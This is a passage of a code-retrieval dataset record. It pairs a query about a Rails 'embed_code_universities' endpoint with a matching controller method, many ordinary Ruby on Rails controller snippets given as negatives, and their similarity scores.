"0.5255387", "0.5254278", "0.5251036", "0.525086", "0.5245363", "0.52452904", "0.52371037", "0.52294874", "0.5225509", "0.522382", "0.5218793", "0.5214953", "0.5200098", "0.5197334", "0.51947886", "0.5188307", "0.51836115", "0.51836115", "0.5182342", "0.51781654", "0.5177469", "0.5170238", "0.5169807" ]
0.6393206
4
GET /embed_code_universities GET /embed_code_universities.json
def index sc = sort_column @q = EmbedCodeUniversity.ransack(params[:q]) @sort = sc + " " if params[:page] cookies[:embed_code_universities_page] = { value: params[:page], expires: 1.day.from_now } end @embed_code_universities = @q.result.order(@sort + sort_direction).page(cookies[:embed_code_universities_page]).per_page(10) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_embed_code_university\n\t\t\t@embed_code_university = EmbedCodeUniversity.find(params[:id])\n\t\tend", "def update\n\t\trespond_to do |format|\n\t\t\tif @embed_code_university.update(embed_code_university_params)\n\t\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @embed_code_university }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @embed_code_university.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def destroy\n\t\t@embed_code_university.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def uni_years\n @uni_years = UniYear.where(university_id: params[:university_id])\n \n respond_to do |format|\n format.json { render json: @uni_years }\n end\n end", "def create\n\t\t@embed_code_university = EmbedCodeUniversity.new(embed_code_university_params)\n\n\t\tif params[:contact_id]\n\t\t\tcontact = params.require(:contact_id)\n\t\t\t@embed_code_university.university_contacts << UniversityContact.find(contact)\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tif @embed_code_university.save\n\t\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed Code University was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @embed_code_university }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @embed_code_university.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def show\n sc = sort_column\n @sort = sc + \" \"\n if params[:page]\n\t\t\tcookies[:event_universities_page] = {\n\t\t\t\tvalue: params[:page],\n\t\t\t\texpires: 1.day.from_now\n\t\t\t}\n\t\tend\n @embed_code_universities = @event.embed_code_universities.order(@sort + sort_direction).page(cookies[:event_universities_page])\n @events_universities = @event.events_universities\n end", "def index\n @universities = University.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @universities }\n end\n end", "def index\n @universities = University.all\n end", "def embed_code_university_params\n\t\t\tparams.require(:embed_code_university).permit(:acronym, :name, :comments, :test_user, :test_password, :test_site, :embed_code, :status)\n\t\tend", "def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end", "def set_university_autocomplete\n render json: {\"course_tags\": @course_tags, \"program_tags\": @program_tags}\n end", "def show\n @university = University.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @university }\n end\n end", "def show\n @university = University.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @university }\n end\n end", "def show\n #@event_id = params[:event_id]\n #@university_id = params[:university_id]\n #@events_university = EventsUniversity.where(event_id: @event_id, embed_code_variable_university_id: @university_id).take\n #@embed_code_variable = EmbedCodeVariable.where(events_university_id: @events_university.id)\n #if @embed_code_variable.empty?\n # @embed_code_variable = EmbedCodeVariable.new(events_university_id: @events_university.id)\n #end\n #@embed_code_variable.save\n end", "def index\n @users = User.all\n if name = params[:name]\n @users = User.joins(:university).where(universities: {name: name})\n end\n render json: @users\n end", "def index\n @universitarios = Universitario.all\n end", "def show\n @university_profile = UniversityProfile.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @university_profile }\n end\n end", "def show\n @university = University.find(params[:id])\n end", "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end", "def get_immunizations\n response = perform(:get, 'Immunization', params, headers)\n response.body\n end", "def destroy\n @university.destroy\n @universities = University.all\n end", "def set_university\n @university = University.find(params[:university_id])\n end", "def identities\n render json: current_user.identities\n end", "def set_university\n @university = University.find(params[:id])\n end", "def set_university\n @university = University.find(params[:id])\n end", "def set_university\n @university = University.friendly.find(params[:id])\n end", "def set_university\n @university = University.friendly.find(params[:id])\n end", "def set_university\n @university = University.find(params[:id])\n @university_profiles = @university.university_profiles.paginate(:page => params[:page], :per_page => 10)\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n @universities_ids = EmbedCodeUniversity.all.ids\n events_universities = []\n @universities_ids.each do |university_id|\n events_universities << EventsUniversity.new(:event_id => @event.id, :embed_code_university_id => university_id)\n end\n EventsUniversity.import events_universities\n format.html { redirect_to events_url, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @university_degrees = UniversityDegree.all\n end", "def get_content_years\n @board = Board.find(params[:id]) rescue nil\n #list = ContentYear.where(:board_id => @Board.id,:publisher_id => current_user.id).map {|u| Hash[value: u.id, name: u.name]}\n list = @board.content_years.map {|u| Hash[value: u.id, name: u.name]} rescue []\n render json: list\n end", "def show\n @universitario = Universitario.find(params[:id])\n end", "def set_universitario\n @universitario = Universitario.find(params[:id])\n end", "def index\n @universes = Universe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @universes }\n end\n end", "def get_university_name(text)\n name = nil\n @universities.reverse.each do |u|\n if text.downcase.include?(u.downcase)\n name = u\n end\n end\n return name\nend", "def set_university_autocomplete\n render json: @group_tags\n end", "def set_university\n @university = University.find(params[:id])\n end", "def university; end", "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def index\n @localities = Locality.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @localities }\n end\n end", "def index\n @universities = University.find(:all,:conditions => [\"data_type = ?\",\"university\"])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @universities }\n end\n end", "def get_institutions\r\n # Prepare query url.\r\n _path_url = '/institutions'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| Institution.from_hash(element) }\r\n end", "def invited_institutions\n invitation_codes.collect(&:institution).uniq.compact\n end", "def show\n @actor_code = ActorCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @actor_code }\n end\n end", "def get_authors_by_personality\n count = params[:count] # Optional - and must be an integer. Cuts the amount of authors return down to the number specified.\n timeline = params[:timeline] # Optional - and must be boolean. Determines whether to return personality predictions by day, month, and year.\n traits = params[:traits]\n e = params[:E] # Optional - and must be y, n or o. Extraversion personality trait. \n s = params[:S] # Optional - and must be y, n or o. Emotional Stability personality trait. \n a = params[:A] # Optional - and must be y, n or o. Agreeableness personality trait. \n c = params[:C] # Optional - and must be y, n or o. Conscientiousness personality trait. \n o = params[:O] # Optional - and must be y, n or o. Openness personality trait. \n puts \"count:#{count}\"\n puts \"timeline:#{timeline}\"\n puts \"e:#{e}\"\n puts \"s:#{s}\"\n puts \"a:#{a}\"\n puts \"c:#{c}\"\n puts \"o:#{o}\"\n\n request = Net::HTTP::Get.new(\"/personality-api/1/authors_by_personality.json?count=#{count}&timeline=#{timeline}&Extraversion=#{e}&EmotionalStability=#{s}&Agreeableness=#{a}&Conscientiousness=#{c}&Openness=#{o}\")\n request.basic_auth BmnPersonalityApiSkeletonRor::Application.config.user_name, BmnPersonalityApiSkeletonRor::Application.config.password\n response = @http.request(request)\n render :text => response.body\n\n end", "def faculties\n @faculties = Faculty.where(university_id: params[:university_id]).order(:name)\n @courses = []\n respond_to do |format|\n format.json { render json: @faculties }\n end\n end", "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { respond_with_bip(@university) }\n else\n format.html { render :edit }\n format.json { respond_with_bip(@university) }\n end\n end\n end", "def index\n @educations = Education.all\n render json: @educations\n end", "def index\n @university_courses = UniversityCourse.all\n end", "def get_industry_facilities(opts = {})\n data, _status_code, _headers = get_industry_facilities_with_http_info(opts)\n return data\n end", "def get_industry_facilities_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IndustryApi.get_industry_facilities ...\"\n end\n if opts[:'datasource'] && !['tranquility', 'singularity'].include?(opts[:'datasource'])\n fail ArgumentError, 'invalid value for \"datasource\", must be one of tranquility, singularity'\n end\n # resource path\n local_var_path = \"/industry/facilities/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'datasource'] = opts[:'datasource'] if !opts[:'datasource'].nil?\n query_params[:'user_agent'] = opts[:'user_agent'] if !opts[:'user_agent'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-User-Agent'] = opts[:'x_user_agent'] if !opts[:'x_user_agent'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<IndustryFacility>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IndustryApi#get_industry_facilities\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def load_university_data\n if @university\n @users = @university.users.where(\"id != 1 AND id != 2\")\n @updateable = @university\n @updates = @updateable.updates\n @events = @university.events.active.free_food.search_date(Date.today)\n @clubs = @university.clubs.sup_club.limit(5).order(:name)\n @club ||= @university.clubs.build\n @club_updates = Update.\n joins(\"inner join clubs on clubs.id = updateable_id\").\n joins(\"inner join memberships on memberships.club_id = clubs.id\").\n where(updateable_type: \"Club\").\n where(updateable_id: @clubs.map(&:id)).\n where(\"memberships.user_id = ?\", current_user.id).\n order(\"created_at DESC\")\n end\n end", "def show\n @uni_major = UniMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uni_major }\n end\n end", "def update\n @university.update(university_params)\n @universities = University.all\n @university = University.new\n end", "def show\n @unp = Unp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unp }\n end\n end", "def show\n @university = University.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @university }\n end\n end", "def show\n @user_industry = UserIndustry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_industry }\n end\n end", "def university_params\n params.require(:university).permit(:user_id, :country_id, :option, :private_or_public, :name, :description, :fundation, :rector, :email, :facebook, :twitter, :linkedin, :website, :link_admission, :address, :longitude, :latitude, :logo, :many_proffesors, :many_students, :is_wifi, :is_cafe, :is_safe, :is_libray, :is_job_help, :is_student_exchange, :is_spiritual, :gym, :pool, :residence, :location, :lunch, :football, :soccer, :volley, :tennis, :table_tennis, :baseball, :track_and_field, :golf, :swimming, :rugby, :climbing, :lacrosse, :drawing, :photography, :sculpture, :theatre, :wood, :music, :choir, :marching_band, :dance, :mun, :volunteer, :gamers, :english, :spanish, :french, :german, :chinese, :italian, :portuguese, :russian, :japanese, :latin, :greek, :signs)\n end", "def index\n @university_subjects = UniversitySubject.all\n end", "def index\n @codes = Code.public_codes\n end", "def index\n @issue_skills = IssueSkill.all\n render json: @issue_skills\n end", "def edit\n @university = University.find(params[:university_id])\n end", "def show\n @uniprot = Uniprot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uniprot }\n end\n end", "def index\n @uens = Uen.all\n end", "def get_all_authors\n count = params[:count] # Optional - and must be an integer. Cuts the amount of authors return down to the number specified.\n timeline = params[:timeline] # Optional - and must be boolean. Determines whether to return personality predictions by day, month, and year.\n traits = params[:traits] # Optional - value must be a substring of \"ESACO\". Determines which traits to return.\n puts \"count:#{count}\"\n puts \"timeline:#{timeline}\"\n puts \"traits:#{traits}\"\n\n request = Net::HTTP::Get.new(\"/personality-api/1/all_authors.json?count=#{count}&timeline=#{timeline}&traits=#{traits}\")\n request.basic_auth BmnPersonalityApiSkeletonRor::Application.config.user_name, BmnPersonalityApiSkeletonRor::Application.config.password\n response = @http.request(request)\n render :text => response.body\n\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def index\n @industries = Industry.order(:short_name_en)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @industries }\n end\n end", "def infrastructures\n aux = Infrastructure.by_code\n render json: serialized_work_order_infrastructures(aux)\n end", "def index\n @issues = Issue.where({assignee: current_user.github_username})\n\n render json: @issues\n end", "def show\n render json: @educations\n end", "def index\n if params.has_key?(:code_id)\n logger.info(current_user)\n end\n @parties = Party.where(user_id: current_user)\n end", "def show\n @university = University.find(params[:university_id])\n @complaint_type = @university.complaint_types.find(params[:id])\n authorize! :show, @complaint_type, :message => 'Acceso denegado.'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @complaint_type }\n end\n end", "def fetch_api_codewars_kata_info\n private_fetch_kata\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @university.destroy\n respond_to do |format|\n format.html { redirect_to universities_url, notice: 'University was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @unemployment_insurances = UnemploymentInsurance.all\n end", "def index\n @exercise_categories = ExerciseCategory.where(\"organization_id IN (?)\", [Organization.current_organization, Organization.admin_organization])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercise_categories }\n end\n end", "def educations\r\n @education_levels = Education.find(:all)\r\n end", "def index\n @warriors = Warrior.all\n render :json => @warriors, :include => [:skills, :equipment_lists,]\n\n end", "def index\n @education_levels = EducationLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @education_levels }\n end\n end", "def get_affiliation\n render( json: TeamAffiliation.find_by(season_id: params[:season_id], team_id: params[:id]) )\n end", "def show\n @industry = Industry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @industry }\n end\n end", "def semesters\n uni_year = UniYear.find_by_id(params[:uni_year_id])\n @semesters = uni_year ? uni_year.semesters : []\n \n respond_to do |format|\n format.json { render json: @semesters }\n end\n end", "def new\n @university = University.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @university }\n end\n end", "def new\n @university = University.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @university }\n end\n end", "def get_facilities\n list = organizations.map { |org| org.resource.identifier.last.value }\n facilities_ids = list.join(',')\n\n facilities_request.get(facilities_ids)\n end", "def index\n @identities = Identity.all\n\n render json: @identities\n end", "def show\n @university = UniversityDecorator.decorate @employer_study.university\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @employer_study }\n end\n end", "def show\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anniversary }\n end\n end", "def show\n render :json => @equipment_list, :include => [:weapons, :armours, :equipments]\n end", "def get_external_roles\n get(\"#{url_base}/external_role_map/all?#{dc}\")[\"data\"]\n end", "def index\n @undergraduate_majors = UndergraduateMajor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @undergraduate_majors }\n end\n end", "def set_interno_unidad\n @interno_unidad = InternoUnidad.find(params[:id])\n end", "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @post_code_electorate_maps = PostCodeElectorateMap.all\n end", "def list_skills\n\t\trender json: Skill.where(language_id: params[:language_id]).to_json\n\tend", "def university_params\n params.require(:university).permit(:universityid, :name, :f211, :f985, :area, :address, :phone, :email, :level, :membership, :nature, :schoolid, :schooltype, :website, :shoufei, :intro)\n end", "def ethnologue_url\n \"http://www.ethnologue.com/show_language.asp?code=#{iso_639_3}\"\n end", "def show\n #@publication = Publication.find(params[:id])\n #@issues = @publication.issues.where( :issue_states => {:name => 'released'})\n #render json: @issues\n\n publication = Publication.find_by_product_code(params[:id])\n\n state = IssueState.find_by_name('Released')\n\n issues = Issue.where(:publication_id => publication, :issue_state_id => state)\n render json: issues.as_json({:except => :pdf_zip})\n\n end" ]
[ "0.673952", "0.6662354", "0.64158076", "0.6358287", "0.61113256", "0.6107665", "0.60792327", "0.59437555", "0.5830836", "0.5710108", "0.56751466", "0.56129116", "0.56129116", "0.5378511", "0.5372593", "0.53306085", "0.5276684", "0.5215328", "0.519791", "0.51868623", "0.5141705", "0.50861263", "0.5062793", "0.50322413", "0.50322413", "0.5023262", "0.5021158", "0.50211316", "0.50072515", "0.5000289", "0.49928388", "0.4992551", "0.49600238", "0.49480298", "0.49400762", "0.49399507", "0.492855", "0.49195597", "0.4885414", "0.4885414", "0.48772252", "0.48505723", "0.48375663", "0.48348582", "0.4831275", "0.48260596", "0.4821807", "0.4803238", "0.47754577", "0.4773397", "0.47727898", "0.47682756", "0.47652552", "0.4761686", "0.47466612", "0.47424057", "0.47419426", "0.47412387", "0.47229442", "0.47171357", "0.4703174", "0.4699794", "0.46995997", "0.4696022", "0.46904185", "0.46793753", "0.46786836", "0.46632752", "0.46434918", "0.46419543", "0.4639475", "0.46322903", "0.46259296", "0.46246916", "0.46244532", "0.46231118", "0.46168622", "0.46136877", "0.46049067", "0.46009678", "0.45948407", "0.4594087", "0.45866132", "0.45767426", "0.4576455", "0.4576455", "0.4575322", "0.4557915", "0.45521823", "0.45483923", "0.45440778", "0.45436102", "0.45386547", "0.45308915", "0.45286906", "0.4526657", "0.45241457", "0.45216057", "0.45198485", "0.45133653" ]
0.63774836
3
GET /embed_code_universities/1 GET /embed_code_universities/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_embed_code_university\n\t\t\t@embed_code_university = EmbedCodeUniversity.find(params[:id])\n\t\tend", "def uni_years\n @uni_years = UniYear.where(university_id: params[:university_id])\n \n respond_to do |format|\n format.json { render json: @uni_years }\n end\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @embed_code_university.update(embed_code_university_params)\n\t\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @embed_code_university }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @embed_code_university.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def destroy\n\t\t@embed_code_university.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def index\n @universities = University.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @universities }\n end\n end", "def create\n\t\t@embed_code_university = EmbedCodeUniversity.new(embed_code_university_params)\n\n\t\tif params[:contact_id]\n\t\t\tcontact = params.require(:contact_id)\n\t\t\t@embed_code_university.university_contacts << UniversityContact.find(contact)\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tif @embed_code_university.save\n\t\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed Code University was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @embed_code_university }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @embed_code_university.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def index\n\t\tsc = sort_column\n\t\t@q = EmbedCodeUniversity.ransack(params[:q])\n\t\t@sort = sc + \" \"\n\t\tif params[:page]\n\t\t\tcookies[:embed_code_universities_page] = {\n\t\t\t\tvalue: params[:page],\n\t\t\t\texpires: 1.day.from_now\n\t\t\t}\n\t\tend\n\t\t@embed_code_universities = @q.result.order(@sort + sort_direction).page(cookies[:embed_code_universities_page]).per_page(10)\n\tend", "def show\n @university = University.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @university }\n end\n end", "def show\n @university = University.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @university }\n end\n end", "def show\n sc = sort_column\n @sort = sc + \" \"\n if params[:page]\n\t\t\tcookies[:event_universities_page] = {\n\t\t\t\tvalue: params[:page],\n\t\t\t\texpires: 1.day.from_now\n\t\t\t}\n\t\tend\n @embed_code_universities = @event.embed_code_universities.order(@sort + sort_direction).page(cookies[:event_universities_page])\n @events_universities = @event.events_universities\n end", "def index\n @universities = University.all\n end", "def set_university_autocomplete\n render json: {\"course_tags\": @course_tags, \"program_tags\": @program_tags}\n end", "def show\n @university_profile = UniversityProfile.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @university_profile }\n end\n end", "def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end", "def index\n @users = User.all\n if name = params[:name]\n @users = User.joins(:university).where(universities: {name: name})\n end\n render json: @users\n end", "def embed_code_university_params\n\t\t\tparams.require(:embed_code_university).permit(:acronym, :name, :comments, :test_user, :test_password, :test_site, :embed_code, :status)\n\t\tend", "def show\n @university = University.find(params[:id])\n end", "def index\n @universitarios = Universitario.all\n end", "def set_university\n @university = University.find(params[:university_id])\n end", "def set_university\n @university = University.find(params[:id])\n end", "def set_university\n @university = University.find(params[:id])\n end", "def set_university\n @university = University.friendly.find(params[:id])\n end", "def set_university\n @university = University.friendly.find(params[:id])\n end", "def show\n @universitario = Universitario.find(params[:id])\n end", "def show\n #@event_id = params[:event_id]\n #@university_id = params[:university_id]\n #@events_university = EventsUniversity.where(event_id: @event_id, embed_code_variable_university_id: @university_id).take\n #@embed_code_variable = EmbedCodeVariable.where(events_university_id: @events_university.id)\n #if @embed_code_variable.empty?\n # @embed_code_variable = EmbedCodeVariable.new(events_university_id: @events_university.id)\n #end\n #@embed_code_variable.save\n end", "def set_universitario\n @universitario = Universitario.find(params[:id])\n end", "def set_university\n @university = University.find(params[:id])\n end", "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end", "def set_university\n @university = University.find(params[:id])\n @university_profiles = @university.university_profiles.paginate(:page => params[:page], :per_page => 10)\n end", "def show\n @uni_major = UniMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uni_major }\n end\n end", "def get_authors_by_personality\n count = params[:count] # Optional - and must be an integer. Cuts the amount of authors return down to the number specified.\n timeline = params[:timeline] # Optional - and must be boolean. Determines whether to return personality predictions by day, month, and year.\n traits = params[:traits]\n e = params[:E] # Optional - and must be y, n or o. Extraversion personality trait. \n s = params[:S] # Optional - and must be y, n or o. Emotional Stability personality trait. \n a = params[:A] # Optional - and must be y, n or o. Agreeableness personality trait. \n c = params[:C] # Optional - and must be y, n or o. Conscientiousness personality trait. \n o = params[:O] # Optional - and must be y, n or o. Openness personality trait. \n puts \"count:#{count}\"\n puts \"timeline:#{timeline}\"\n puts \"e:#{e}\"\n puts \"s:#{s}\"\n puts \"a:#{a}\"\n puts \"c:#{c}\"\n puts \"o:#{o}\"\n\n request = Net::HTTP::Get.new(\"/personality-api/1/authors_by_personality.json?count=#{count}&timeline=#{timeline}&Extraversion=#{e}&EmotionalStability=#{s}&Agreeableness=#{a}&Conscientiousness=#{c}&Openness=#{o}\")\n request.basic_auth BmnPersonalityApiSkeletonRor::Application.config.user_name, BmnPersonalityApiSkeletonRor::Application.config.password\n response = @http.request(request)\n render :text => response.body\n\n end", "def get_content_years\n @board = Board.find(params[:id]) rescue nil\n #list = ContentYear.where(:board_id => @Board.id,:publisher_id => current_user.id).map {|u| Hash[value: u.id, name: u.name]}\n list = @board.content_years.map {|u| Hash[value: u.id, name: u.name]} rescue []\n render json: list\n end", "def university; end", "def destroy\n @university.destroy\n @universities = University.all\n end", "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { respond_with_bip(@university) }\n else\n format.html { render :edit }\n format.json { respond_with_bip(@university) }\n end\n end\n end", "def show\n @user_industry = UserIndustry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_industry }\n end\n end", "def get_university_name(text)\n name = nil\n @universities.reverse.each do |u|\n if text.downcase.include?(u.downcase)\n name = u\n end\n end\n return name\nend", "def set_university_autocomplete\n render json: @group_tags\n end", "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @university = University.find(params[:id])\n @university.destroy\n\n respond_to do |format|\n format.html { redirect_to universities_url }\n format.json { head :no_content }\n end\n end", "def identities\n render json: current_user.identities\n end", "def index\n @universities = University.find(:all,:conditions => [\"data_type = ?\",\"university\"])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @universities }\n end\n end", "def show\n @university = University.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @university }\n end\n end", "def get_immunizations\n response = perform(:get, 'Immunization', params, headers)\n response.body\n end", "def new\n @university = University.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @university }\n end\n end", "def new\n @university = University.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @university }\n end\n end", "def faculties\n @faculties = Faculty.where(university_id: params[:university_id]).order(:name)\n @courses = []\n respond_to do |format|\n format.json { render json: @faculties }\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n @universities_ids = EmbedCodeUniversity.all.ids\n events_universities = []\n @universities_ids.each do |university_id|\n events_universities << EventsUniversity.new(:event_id => @event.id, :embed_code_university_id => university_id)\n end\n EventsUniversity.import events_universities\n format.html { redirect_to events_url, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @university = University.find(params[:university_id])\n @complaint_type = @university.complaint_types.find(params[:id])\n authorize! :show, @complaint_type, :message => 'Acceso denegado.'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @complaint_type }\n end\n end", "def show\n @uniprot = Uniprot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uniprot }\n end\n end", "def edit\n @university = University.find(params[:university_id])\n end", "def get_institutions\r\n # Prepare query url.\r\n _path_url = '/institutions'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| Institution.from_hash(element) }\r\n end", "def show\n @unp = Unp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unp }\n end\n end", "def show\n @actor_code = ActorCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @actor_code }\n end\n end", "def update\n @university.update(university_params)\n @universities = University.all\n @university = University.new\n end", "def show\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anniversary }\n end\n end", "def get_industry_facilities_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: IndustryApi.get_industry_facilities ...\"\n end\n if opts[:'datasource'] && !['tranquility', 'singularity'].include?(opts[:'datasource'])\n fail ArgumentError, 'invalid value for \"datasource\", must be one of tranquility, singularity'\n end\n # resource path\n local_var_path = \"/industry/facilities/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'datasource'] = opts[:'datasource'] if !opts[:'datasource'].nil?\n query_params[:'user_agent'] = opts[:'user_agent'] if !opts[:'user_agent'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-User-Agent'] = opts[:'x_user_agent'] if !opts[:'x_user_agent'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = 